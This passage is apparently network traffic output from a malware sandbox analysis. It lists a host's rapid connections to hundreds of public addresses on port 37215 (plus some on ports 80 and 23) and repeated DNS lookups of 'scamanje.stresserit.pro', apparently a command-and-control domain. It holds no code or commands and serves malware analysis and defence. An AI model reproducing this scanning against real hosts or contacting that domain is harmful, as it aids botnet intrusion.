Dec 3, 2024 23:01:55.842000008 CET	39498	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:55.842000008 CET	50320	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:55.842024088 CET	57264	37215	192.168.2.23	156.61.209.114
Dec 3, 2024 23:01:55.842024088 CET	54672	37215	192.168.2.23	41.153.210.0
Dec 3, 2024 23:01:55.842024088 CET	47876	37215	192.168.2.23	156.44.235.16
Dec 3, 2024 23:01:55.842024088 CET	43434	37215	192.168.2.23	41.235.143.156
Dec 3, 2024 23:01:55.842025042 CET	38398	37215	192.168.2.23	156.64.119.227
Dec 3, 2024 23:01:55.842025042 CET	39856	37215	192.168.2.23	197.17.133.49
Dec 3, 2024 23:01:55.842027903 CET	52264	37215	192.168.2.23	197.195.206.136
Dec 3, 2024 23:01:55.842027903 CET	43622	37215	192.168.2.23	156.134.142.216
Dec 3, 2024 23:01:55.842031002 CET	35440	37215	192.168.2.23	156.30.14.110
Dec 3, 2024 23:01:55.842031002 CET	49718	37215	192.168.2.23	156.114.247.128
Dec 3, 2024 23:01:55.842032909 CET	60320	37215	192.168.2.23	41.102.141.16
Dec 3, 2024 23:01:55.842032909 CET	43092	37215	192.168.2.23	156.158.172.243
Dec 3, 2024 23:01:55.842032909 CET	46154	37215	192.168.2.23	156.146.0.173
Dec 3, 2024 23:01:55.842036963 CET	35320	37215	192.168.2.23	41.38.16.103
Dec 3, 2024 23:01:55.842042923 CET	50942	37215	192.168.2.23	156.23.144.81
Dec 3, 2024 23:01:55.842045069 CET	36330	37215	192.168.2.23	197.220.67.112
Dec 3, 2024 23:01:55.842047930 CET	38850	37215	192.168.2.23	41.29.43.123
Dec 3, 2024 23:01:55.842047930 CET	52810	37215	192.168.2.23	197.123.236.32
Dec 3, 2024 23:01:55.842047930 CET	54120	37215	192.168.2.23	197.95.113.211
Dec 3, 2024 23:01:55.842047930 CET	57660	37215	192.168.2.23	156.110.162.239
Dec 3, 2024 23:01:55.842050076 CET	41746	37215	192.168.2.23	156.67.96.70
Dec 3, 2024 23:01:55.842052937 CET	52468	37215	192.168.2.23	41.185.84.32
Dec 3, 2024 23:01:55.842052937 CET	49656	37215	192.168.2.23	197.161.10.65
Dec 3, 2024 23:01:55.842057943 CET	54794	37215	192.168.2.23	197.25.2.28
Dec 3, 2024 23:01:55.842057943 CET	48434	37215	192.168.2.23	197.158.151.68
Dec 3, 2024 23:01:55.842078924 CET	55612	37215	192.168.2.23	197.79.233.80
Dec 3, 2024 23:01:55.842091084 CET	49198	37215	192.168.2.23	197.213.139.45
Dec 3, 2024 23:01:55.842102051 CET	39060	37215	192.168.2.23	197.235.235.154
Dec 3, 2024 23:01:55.842114925 CET	35032	37215	192.168.2.23	197.69.230.169
Dec 3, 2024 23:01:55.842128992 CET	42838	37215	192.168.2.23	156.92.88.230
Dec 3, 2024 23:01:55.842143059 CET	47666	37215	192.168.2.23	41.29.72.16
Dec 3, 2024 23:01:55.842154980 CET	45230	37215	192.168.2.23	197.179.146.198
Dec 3, 2024 23:01:55.842166901 CET	38306	37215	192.168.2.23	197.57.152.227
Dec 3, 2024 23:01:55.842180014 CET	43080	37215	192.168.2.23	41.51.237.63
Dec 3, 2024 23:01:55.842195034 CET	33040	37215	192.168.2.23	197.201.203.200
Dec 3, 2024 23:01:55.879261971 CET	23	48434	198.252.29.118	192.168.2.23
Dec 3, 2024 23:01:55.879326105 CET	48434	23	192.168.2.23	198.252.29.118
Dec 3, 2024 23:01:55.905881882 CET	60362	37215	192.168.2.23	156.199.249.209
Dec 3, 2024 23:01:55.905915976 CET	41916	37215	192.168.2.23	41.204.44.51
Dec 3, 2024 23:01:55.905927896 CET	45500	37215	192.168.2.23	41.34.236.132
Dec 3, 2024 23:01:55.905946016 CET	59212	37215	192.168.2.23	197.213.172.174
Dec 3, 2024 23:01:55.905962944 CET	40144	37215	192.168.2.23	41.223.100.164
Dec 3, 2024 23:01:55.905977964 CET	53440	37215	192.168.2.23	156.1.156.161
Dec 3, 2024 23:01:55.905997992 CET	34202	37215	192.168.2.23	41.243.122.209
Dec 3, 2024 23:01:55.906002045 CET	58412	37215	192.168.2.23	156.177.86.195
Dec 3, 2024 23:01:55.906009912 CET	33326	37215	192.168.2.23	156.191.133.121
Dec 3, 2024 23:01:55.906028032 CET	45546	37215	192.168.2.23	156.85.239.222
Dec 3, 2024 23:01:55.966083050 CET	37215	41618	41.186.242.231	192.168.2.23
Dec 3, 2024 23:01:55.966092110 CET	37215	51190	41.237.37.216	192.168.2.23
Dec 3, 2024 23:01:55.966095924 CET	37215	59944	41.9.223.148	192.168.2.23
Dec 3, 2024 23:01:55.966099024 CET	37215	46614	197.41.187.197	192.168.2.23
Dec 3, 2024 23:01:55.966103077 CET	37215	39498	197.122.183.130	192.168.2.23
Dec 3, 2024 23:01:55.966106892 CET	37215	50320	156.180.14.86	192.168.2.23
Dec 3, 2024 23:01:55.966114998 CET	37215	53972	197.167.188.184	192.168.2.23
Dec 3, 2024 23:01:55.966123104 CET	37215	57126	197.163.246.243	192.168.2.23
Dec 3, 2024 23:01:55.966126919 CET	37215	40596	197.169.178.55	192.168.2.23
Dec 3, 2024 23:01:55.966197968 CET	37215	48586	41.182.228.106	192.168.2.23
Dec 3, 2024 23:01:55.966208935 CET	37215	44206	41.128.193.69	192.168.2.23
Dec 3, 2024 23:01:55.966212034 CET	37215	37630	197.59.205.72	192.168.2.23
Dec 3, 2024 23:01:55.966244936 CET	59944	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:55.966247082 CET	57126	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:55.966247082 CET	39498	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:55.966248989 CET	51190	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:55.966250896 CET	48586	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:55.966409922 CET	41618	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:55.966434002 CET	46614	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:55.966495037 CET	50320	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:55.966519117 CET	53972	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:55.966537952 CET	40596	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:55.966563940 CET	44206	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:55.966583967 CET	37630	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:55.966773987 CET	50320	37215	192.168.2.23	156.180.14.86
Dec 3, 2024 23:01:55.966824055 CET	40596	37215	192.168.2.23	197.169.178.55
Dec 3, 2024 23:01:55.966855049 CET	37630	37215	192.168.2.23	197.59.205.72
Dec 3, 2024 23:01:55.966886997 CET	53972	37215	192.168.2.23	197.167.188.184
Dec 3, 2024 23:01:55.966917038 CET	46614	37215	192.168.2.23	197.41.187.197
Dec 3, 2024 23:01:55.966945887 CET	57126	37215	192.168.2.23	197.163.246.243
Dec 3, 2024 23:01:55.966978073 CET	48586	37215	192.168.2.23	41.182.228.106
Dec 3, 2024 23:01:55.967015028 CET	44206	37215	192.168.2.23	41.128.193.69
Dec 3, 2024 23:01:55.967031002 CET	51190	37215	192.168.2.23	41.237.37.216
Dec 3, 2024 23:01:55.967068911 CET	59944	37215	192.168.2.23	41.9.223.148
Dec 3, 2024 23:01:55.967106104 CET	39498	37215	192.168.2.23	197.122.183.130
Dec 3, 2024 23:01:55.967137098 CET	41618	37215	192.168.2.23	41.186.242.231
Dec 3, 2024 23:01:55.967356920 CET	54064	37215	192.168.2.23	197.191.214.20
Dec 3, 2024 23:01:56.029927015 CET	37215	60362	156.199.249.209	192.168.2.23
Dec 3, 2024 23:01:56.029937983 CET	37215	41916	41.204.44.51	192.168.2.23
Dec 3, 2024 23:01:56.029954910 CET	37215	45500	41.34.236.132	192.168.2.23
Dec 3, 2024 23:01:56.029963970 CET	37215	59212	197.213.172.174	192.168.2.23
Dec 3, 2024 23:01:56.029972076 CET	60362	37215	192.168.2.23	156.199.249.209
Dec 3, 2024 23:01:56.029983997 CET	45500	37215	192.168.2.23	41.34.236.132
Dec 3, 2024 23:01:56.029992104 CET	37215	40144	41.223.100.164	192.168.2.23
Dec 3, 2024 23:01:56.029999971 CET	37215	53440	156.1.156.161	192.168.2.23
Dec 3, 2024 23:01:56.030009031 CET	37215	34202	41.243.122.209	192.168.2.23
Dec 3, 2024 23:01:56.030035019 CET	40144	37215	192.168.2.23	41.223.100.164
Dec 3, 2024 23:01:56.030036926 CET	53440	37215	192.168.2.23	156.1.156.161
Dec 3, 2024 23:01:56.030045033 CET	34202	37215	192.168.2.23	41.243.122.209
Dec 3, 2024 23:01:56.030174017 CET	41916	37215	192.168.2.23	41.204.44.51
Dec 3, 2024 23:01:56.030208111 CET	59212	37215	192.168.2.23	197.213.172.174
Dec 3, 2024 23:01:56.030344963 CET	34202	37215	192.168.2.23	41.243.122.209
Dec 3, 2024 23:01:56.030390024 CET	53440	37215	192.168.2.23	156.1.156.161
Dec 3, 2024 23:01:56.030410051 CET	40144	37215	192.168.2.23	41.223.100.164
Dec 3, 2024 23:01:56.030427933 CET	59212	37215	192.168.2.23	197.213.172.174
Dec 3, 2024 23:01:56.030461073 CET	45500	37215	192.168.2.23	41.34.236.132
Dec 3, 2024 23:01:56.030493021 CET	41916	37215	192.168.2.23	41.204.44.51
Dec 3, 2024 23:01:56.030515909 CET	60362	37215	192.168.2.23	156.199.249.209
Dec 3, 2024 23:01:56.030560017 CET	59534	37215	192.168.2.23	156.191.36.93
Dec 3, 2024 23:01:56.030582905 CET	59534	37215	192.168.2.23	41.206.186.43
Dec 3, 2024 23:01:56.030611992 CET	59534	37215	192.168.2.23	41.54.199.196
Dec 3, 2024 23:01:56.030625105 CET	59534	37215	192.168.2.23	41.92.111.44
Dec 3, 2024 23:01:56.030658960 CET	59534	37215	192.168.2.23	156.207.68.217
Dec 3, 2024 23:01:56.030680895 CET	59534	37215	192.168.2.23	156.33.52.217
Dec 3, 2024 23:01:56.030699015 CET	59534	37215	192.168.2.23	156.131.234.245
Dec 3, 2024 23:01:56.030714989 CET	59534	37215	192.168.2.23	197.175.190.91
Dec 3, 2024 23:01:56.030741930 CET	59534	37215	192.168.2.23	156.64.9.169
Dec 3, 2024 23:01:56.030762911 CET	59534	37215	192.168.2.23	197.99.153.20
Dec 3, 2024 23:01:56.030790091 CET	59534	37215	192.168.2.23	41.141.61.3
Dec 3, 2024 23:01:56.030805111 CET	59534	37215	192.168.2.23	197.215.104.188
Dec 3, 2024 23:01:56.030816078 CET	59534	37215	192.168.2.23	156.64.114.61
Dec 3, 2024 23:01:56.030841112 CET	59534	37215	192.168.2.23	197.157.202.126
Dec 3, 2024 23:01:56.030848026 CET	59534	37215	192.168.2.23	156.88.199.109
Dec 3, 2024 23:01:56.030879021 CET	59534	37215	192.168.2.23	156.223.196.105
Dec 3, 2024 23:01:56.030894041 CET	59534	37215	192.168.2.23	41.249.50.44
Dec 3, 2024 23:01:56.030906916 CET	59534	37215	192.168.2.23	156.124.101.251
Dec 3, 2024 23:01:56.030931950 CET	59534	37215	192.168.2.23	156.254.196.255
Dec 3, 2024 23:01:56.030955076 CET	59534	37215	192.168.2.23	197.34.205.55
Dec 3, 2024 23:01:56.030978918 CET	59534	37215	192.168.2.23	156.64.100.178
Dec 3, 2024 23:01:56.030993938 CET	59534	37215	192.168.2.23	41.177.226.220
Dec 3, 2024 23:01:56.031008959 CET	59534	37215	192.168.2.23	41.199.141.127
Dec 3, 2024 23:01:56.031032085 CET	59534	37215	192.168.2.23	156.166.52.41
Dec 3, 2024 23:01:56.031058073 CET	59534	37215	192.168.2.23	156.245.124.122
Dec 3, 2024 23:01:56.031085968 CET	59534	37215	192.168.2.23	156.215.239.47
Dec 3, 2024 23:01:56.031092882 CET	59534	37215	192.168.2.23	197.77.1.125
Dec 3, 2024 23:01:56.031125069 CET	59534	37215	192.168.2.23	197.150.229.119
Dec 3, 2024 23:01:56.031138897 CET	59534	37215	192.168.2.23	156.216.87.130
Dec 3, 2024 23:01:56.031152964 CET	59534	37215	192.168.2.23	41.47.20.237
Dec 3, 2024 23:01:56.031167984 CET	59534	37215	192.168.2.23	41.242.155.114
Dec 3, 2024 23:01:56.031191111 CET	59534	37215	192.168.2.23	197.12.82.116
Dec 3, 2024 23:01:56.031207085 CET	59534	37215	192.168.2.23	197.16.47.58
Dec 3, 2024 23:01:56.031229019 CET	59534	37215	192.168.2.23	197.109.32.81
Dec 3, 2024 23:01:56.031254053 CET	59534	37215	192.168.2.23	156.95.132.239
Dec 3, 2024 23:01:56.031267881 CET	59534	37215	192.168.2.23	41.109.194.163
Dec 3, 2024 23:01:56.031296015 CET	59534	37215	192.168.2.23	156.171.213.172
Dec 3, 2024 23:01:56.031316042 CET	59534	37215	192.168.2.23	197.190.152.70
Dec 3, 2024 23:01:56.031339884 CET	59534	37215	192.168.2.23	197.67.155.19
Dec 3, 2024 23:01:56.031362057 CET	59534	37215	192.168.2.23	197.181.21.241
Dec 3, 2024 23:01:56.031377077 CET	59534	37215	192.168.2.23	41.174.233.128
Dec 3, 2024 23:01:56.031389952 CET	59534	37215	192.168.2.23	156.107.23.157
Dec 3, 2024 23:01:56.031414986 CET	59534	37215	192.168.2.23	197.127.5.190
Dec 3, 2024 23:01:56.031429052 CET	59534	37215	192.168.2.23	197.174.46.24
Dec 3, 2024 23:01:56.031451941 CET	59534	37215	192.168.2.23	41.230.240.235
Dec 3, 2024 23:01:56.031465054 CET	59534	37215	192.168.2.23	197.250.66.29
Dec 3, 2024 23:01:56.031481028 CET	59534	37215	192.168.2.23	41.45.146.142
Dec 3, 2024 23:01:56.031493902 CET	59534	37215	192.168.2.23	197.251.206.14
Dec 3, 2024 23:01:56.031512976 CET	59534	37215	192.168.2.23	41.248.129.142
Dec 3, 2024 23:01:56.031544924 CET	59534	37215	192.168.2.23	41.241.212.41
Dec 3, 2024 23:01:56.031552076 CET	59534	37215	192.168.2.23	156.110.160.101
Dec 3, 2024 23:01:56.031580925 CET	59534	37215	192.168.2.23	197.125.51.248
Dec 3, 2024 23:01:56.031589985 CET	59534	37215	192.168.2.23	197.71.190.200
Dec 3, 2024 23:01:56.031619072 CET	59534	37215	192.168.2.23	156.240.133.172
Dec 3, 2024 23:01:56.031630039 CET	59534	37215	192.168.2.23	197.68.77.149
Dec 3, 2024 23:01:56.031645060 CET	59534	37215	192.168.2.23	197.91.89.178
Dec 3, 2024 23:01:56.031671047 CET	59534	37215	192.168.2.23	156.141.190.140
Dec 3, 2024 23:01:56.031693935 CET	59534	37215	192.168.2.23	156.35.152.204
Dec 3, 2024 23:01:56.031718016 CET	59534	37215	192.168.2.23	156.155.241.88
Dec 3, 2024 23:01:56.031742096 CET	59534	37215	192.168.2.23	197.26.49.52
Dec 3, 2024 23:01:56.031754971 CET	59534	37215	192.168.2.23	156.58.105.56
Dec 3, 2024 23:01:56.031770945 CET	59534	37215	192.168.2.23	156.142.164.94
Dec 3, 2024 23:01:56.031795979 CET	59534	37215	192.168.2.23	156.213.216.87
Dec 3, 2024 23:01:56.031821966 CET	59534	37215	192.168.2.23	41.182.140.169
Dec 3, 2024 23:01:56.031833887 CET	59534	37215	192.168.2.23	41.146.174.120
Dec 3, 2024 23:01:56.031857014 CET	59534	37215	192.168.2.23	156.136.92.219
Dec 3, 2024 23:01:56.031877041 CET	59534	37215	192.168.2.23	41.249.191.218
Dec 3, 2024 23:01:56.031887054 CET	59534	37215	192.168.2.23	41.232.124.243
Dec 3, 2024 23:01:56.031899929 CET	59534	37215	192.168.2.23	41.151.23.125
Dec 3, 2024 23:01:56.031922102 CET	59534	37215	192.168.2.23	197.48.21.110
Dec 3, 2024 23:01:56.031946898 CET	59534	37215	192.168.2.23	156.243.169.124
Dec 3, 2024 23:01:56.031966925 CET	59534	37215	192.168.2.23	41.206.209.51
Dec 3, 2024 23:01:56.031990051 CET	59534	37215	192.168.2.23	41.153.100.15
Dec 3, 2024 23:01:56.032012939 CET	59534	37215	192.168.2.23	197.234.43.248
Dec 3, 2024 23:01:56.032027960 CET	59534	37215	192.168.2.23	197.207.231.237
Dec 3, 2024 23:01:56.032053947 CET	59534	37215	192.168.2.23	41.195.158.160
Dec 3, 2024 23:01:56.032080889 CET	59534	37215	192.168.2.23	197.161.225.160
Dec 3, 2024 23:01:56.032095909 CET	59534	37215	192.168.2.23	156.127.246.234
Dec 3, 2024 23:01:56.032109022 CET	59534	37215	192.168.2.23	197.103.126.119
Dec 3, 2024 23:01:56.032120943 CET	59534	37215	192.168.2.23	197.48.255.163
Dec 3, 2024 23:01:56.032136917 CET	59534	37215	192.168.2.23	156.178.166.114
Dec 3, 2024 23:01:56.032150030 CET	59534	37215	192.168.2.23	41.156.105.4
Dec 3, 2024 23:01:56.032172918 CET	59534	37215	192.168.2.23	41.251.229.29
Dec 3, 2024 23:01:56.032188892 CET	59534	37215	192.168.2.23	41.142.86.59
Dec 3, 2024 23:01:56.032203913 CET	59534	37215	192.168.2.23	156.13.141.84
Dec 3, 2024 23:01:56.032216072 CET	59534	37215	192.168.2.23	41.115.240.8
Dec 3, 2024 23:01:56.032241106 CET	59534	37215	192.168.2.23	197.108.100.78
Dec 3, 2024 23:01:56.032253981 CET	59534	37215	192.168.2.23	197.82.84.124
Dec 3, 2024 23:01:56.032269955 CET	59534	37215	192.168.2.23	156.33.94.225
Dec 3, 2024 23:01:56.032283068 CET	59534	37215	192.168.2.23	41.45.3.221
Dec 3, 2024 23:01:56.032306910 CET	59534	37215	192.168.2.23	156.47.223.115
Dec 3, 2024 23:01:56.032334089 CET	59534	37215	192.168.2.23	156.165.62.95
Dec 3, 2024 23:01:56.032342911 CET	59534	37215	192.168.2.23	41.227.65.88
Dec 3, 2024 23:01:56.032368898 CET	59534	37215	192.168.2.23	197.124.226.31
Dec 3, 2024 23:01:56.032394886 CET	59534	37215	192.168.2.23	156.223.112.115
Dec 3, 2024 23:01:56.032407999 CET	59534	37215	192.168.2.23	41.28.67.69
Dec 3, 2024 23:01:56.032418013 CET	59534	37215	192.168.2.23	197.251.102.195
Dec 3, 2024 23:01:56.032445908 CET	59534	37215	192.168.2.23	41.161.173.137
Dec 3, 2024 23:01:56.032459974 CET	59534	37215	192.168.2.23	197.14.248.244
Dec 3, 2024 23:01:56.032473087 CET	59534	37215	192.168.2.23	197.120.196.145
Dec 3, 2024 23:01:56.032483101 CET	59534	37215	192.168.2.23	197.32.248.93
Dec 3, 2024 23:01:56.032512903 CET	59534	37215	192.168.2.23	41.178.211.97
Dec 3, 2024 23:01:56.032526970 CET	59534	37215	192.168.2.23	41.98.200.170
Dec 3, 2024 23:01:56.032553911 CET	59534	37215	192.168.2.23	197.49.15.167
Dec 3, 2024 23:01:56.032567024 CET	59534	37215	192.168.2.23	197.241.230.50
Dec 3, 2024 23:01:56.032588959 CET	59534	37215	192.168.2.23	156.86.12.62
Dec 3, 2024 23:01:56.032603979 CET	59534	37215	192.168.2.23	156.228.238.20
Dec 3, 2024 23:01:56.032619953 CET	59534	37215	192.168.2.23	41.227.227.228
Dec 3, 2024 23:01:56.032632113 CET	59534	37215	192.168.2.23	41.189.48.80
Dec 3, 2024 23:01:56.032655954 CET	59534	37215	192.168.2.23	41.202.168.104
Dec 3, 2024 23:01:56.032672882 CET	59534	37215	192.168.2.23	41.239.208.97
Dec 3, 2024 23:01:56.032695055 CET	59534	37215	192.168.2.23	156.229.91.171
Dec 3, 2024 23:01:56.032718897 CET	59534	37215	192.168.2.23	197.198.102.49
Dec 3, 2024 23:01:56.032737017 CET	59534	37215	192.168.2.23	197.233.206.140
Dec 3, 2024 23:01:56.032764912 CET	59534	37215	192.168.2.23	41.170.239.51
Dec 3, 2024 23:01:56.032789946 CET	59534	37215	192.168.2.23	197.148.239.114
Dec 3, 2024 23:01:56.032814026 CET	59534	37215	192.168.2.23	156.103.199.239
Dec 3, 2024 23:01:56.032826900 CET	59534	37215	192.168.2.23	197.214.167.56
Dec 3, 2024 23:01:56.032850981 CET	59534	37215	192.168.2.23	156.114.106.47
Dec 3, 2024 23:01:56.032875061 CET	59534	37215	192.168.2.23	156.124.166.137
Dec 3, 2024 23:01:56.032900095 CET	59534	37215	192.168.2.23	156.28.196.188
Dec 3, 2024 23:01:56.032922983 CET	59534	37215	192.168.2.23	197.71.28.41
Dec 3, 2024 23:01:56.032951117 CET	59534	37215	192.168.2.23	197.2.81.123
Dec 3, 2024 23:01:56.032963991 CET	59534	37215	192.168.2.23	197.165.182.1
Dec 3, 2024 23:01:56.032989025 CET	59534	37215	192.168.2.23	41.32.251.234
Dec 3, 2024 23:01:56.033013105 CET	59534	37215	192.168.2.23	197.5.207.174
Dec 3, 2024 23:01:56.033035040 CET	59534	37215	192.168.2.23	156.113.131.68
Dec 3, 2024 23:01:56.033061981 CET	59534	37215	192.168.2.23	197.212.150.148
Dec 3, 2024 23:01:56.033083916 CET	59534	37215	192.168.2.23	41.3.197.200
Dec 3, 2024 23:01:56.033109903 CET	59534	37215	192.168.2.23	41.4.255.152
Dec 3, 2024 23:01:56.033133984 CET	59534	37215	192.168.2.23	156.120.147.123
Dec 3, 2024 23:01:56.033159018 CET	59534	37215	192.168.2.23	156.64.110.223
Dec 3, 2024 23:01:56.033185959 CET	59534	37215	192.168.2.23	41.104.246.207
Dec 3, 2024 23:01:56.033195972 CET	59534	37215	192.168.2.23	156.136.176.83
Dec 3, 2024 23:01:56.033210039 CET	59534	37215	192.168.2.23	197.198.14.13
Dec 3, 2024 23:01:56.033222914 CET	59534	37215	192.168.2.23	197.210.53.175
Dec 3, 2024 23:01:56.033248901 CET	59534	37215	192.168.2.23	197.101.1.70
Dec 3, 2024 23:01:56.033265114 CET	59534	37215	192.168.2.23	41.148.68.50
Dec 3, 2024 23:01:56.033277035 CET	59534	37215	192.168.2.23	41.1.186.58
Dec 3, 2024 23:01:56.033289909 CET	59534	37215	192.168.2.23	156.86.182.21
Dec 3, 2024 23:01:56.033298969 CET	59534	37215	192.168.2.23	41.69.26.244
Dec 3, 2024 23:01:56.033324957 CET	59534	37215	192.168.2.23	197.235.11.94
Dec 3, 2024 23:01:56.033346891 CET	59534	37215	192.168.2.23	156.167.87.170
Dec 3, 2024 23:01:56.033353090 CET	59534	37215	192.168.2.23	197.210.94.252
Dec 3, 2024 23:01:56.033365965 CET	59534	37215	192.168.2.23	156.140.191.204
Dec 3, 2024 23:01:56.033381939 CET	59534	37215	192.168.2.23	197.216.108.76
Dec 3, 2024 23:01:56.033396959 CET	59534	37215	192.168.2.23	197.176.55.61
Dec 3, 2024 23:01:56.033427954 CET	59534	37215	192.168.2.23	197.68.93.41
Dec 3, 2024 23:01:56.033438921 CET	59534	37215	192.168.2.23	41.195.41.105
Dec 3, 2024 23:01:56.033462048 CET	59534	37215	192.168.2.23	41.129.93.66
Dec 3, 2024 23:01:56.033485889 CET	59534	37215	192.168.2.23	41.37.228.169
Dec 3, 2024 23:01:56.033499002 CET	59534	37215	192.168.2.23	197.201.54.217
Dec 3, 2024 23:01:56.033524990 CET	59534	37215	192.168.2.23	156.164.217.114
Dec 3, 2024 23:01:56.033549070 CET	59534	37215	192.168.2.23	41.142.129.25
Dec 3, 2024 23:01:56.033562899 CET	59534	37215	192.168.2.23	41.156.98.83
Dec 3, 2024 23:01:56.033576965 CET	59534	37215	192.168.2.23	156.160.47.209
Dec 3, 2024 23:01:56.033601999 CET	59534	37215	192.168.2.23	156.50.36.236
Dec 3, 2024 23:01:56.033624887 CET	59534	37215	192.168.2.23	41.101.228.206
Dec 3, 2024 23:01:56.033649921 CET	59534	37215	192.168.2.23	197.15.234.123
Dec 3, 2024 23:01:56.033660889 CET	59534	37215	192.168.2.23	156.252.82.234
Dec 3, 2024 23:01:56.033689022 CET	59534	37215	192.168.2.23	41.145.173.237
Dec 3, 2024 23:01:56.033701897 CET	59534	37215	192.168.2.23	41.11.160.24
Dec 3, 2024 23:01:56.033729076 CET	52750	80	192.168.2.23	140.3.1.82
Dec 3, 2024 23:01:56.033736944 CET	39742	80	192.168.2.23	199.231.117.174
Dec 3, 2024 23:01:56.033739090 CET	33150	80	192.168.2.23	219.81.41.173
Dec 3, 2024 23:01:56.033739090 CET	34530	80	192.168.2.23	144.90.247.152
Dec 3, 2024 23:01:56.033740044 CET	56496	80	192.168.2.23	50.99.218.207
Dec 3, 2024 23:01:56.033740044 CET	57984	80	192.168.2.23	130.210.96.151
Dec 3, 2024 23:01:56.033742905 CET	36110	80	192.168.2.23	70.118.63.56
Dec 3, 2024 23:01:56.033749104 CET	47240	80	192.168.2.23	8.165.237.23
Dec 3, 2024 23:01:56.033750057 CET	54292	80	192.168.2.23	42.98.239.40

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 23:01:45.656773090 CET	192.168.2.23	8.8.8.8	0x6faf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:01:46.185163975 CET	192.168.2.23	8.8.8.8	0x6faf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:01:46.530945063 CET	192.168.2.23	8.8.8.8	0x6faf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:01:46.784374952 CET	192.168.2.23	8.8.8.8	0x6faf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:01:47.158238888 CET	192.168.2.23	8.8.8.8	0x6faf	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:10.769522905 CET	192.168.2.23	8.8.8.8	0xf303	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:11.023494005 CET	192.168.2.23	8.8.8.8	0xf303	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:11.416898966 CET	192.168.2.23	8.8.8.8	0xf303	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:11.672235966 CET	192.168.2.23	8.8.8.8	0xf303	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:16.676691055 CET	192.168.2.23	8.8.8.8	0xf303	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:39.989322901 CET	192.168.2.23	8.8.8.8	0xd0d8	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:40.242690086 CET	192.168.2.23	8.8.8.8	0xd0d8	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:40.498322010 CET	192.168.2.23	8.8.8.8	0xd0d8	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:40.752859116 CET	192.168.2.23	8.8.8.8	0xd0d8	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:02:41.005896091 CET	192.168.2.23	8.8.8.8	0xd0d8	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:04.552587986 CET	192.168.2.23	8.8.8.8	0x567b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:04.807986975 CET	192.168.2.23	8.8.8.8	0x567b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:05.062302113 CET	192.168.2.23	8.8.8.8	0x567b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:05.455249071 CET	192.168.2.23	8.8.8.8	0x567b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:05.709753036 CET	192.168.2.23	8.8.8.8	0x567b	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:29.200118065 CET	192.168.2.23	8.8.8.8	0x2974	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:29.459211111 CET	192.168.2.23	8.8.8.8	0x2974	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:29.711750031 CET	192.168.2.23	8.8.8.8	0x2974	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:29.964445114 CET	192.168.2.23	8.8.8.8	0x2974	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:03:30.443630934 CET	192.168.2.23	8.8.8.8	0x2974	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 23:01:46.184892893 CET	8.8.8.8	192.168.2.23	0x6faf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:01:46.530817986 CET	8.8.8.8	192.168.2.23	0x6faf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 23:01:46.784249067 CET	8.8.8.8	192.168.2.23	0x6faf	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
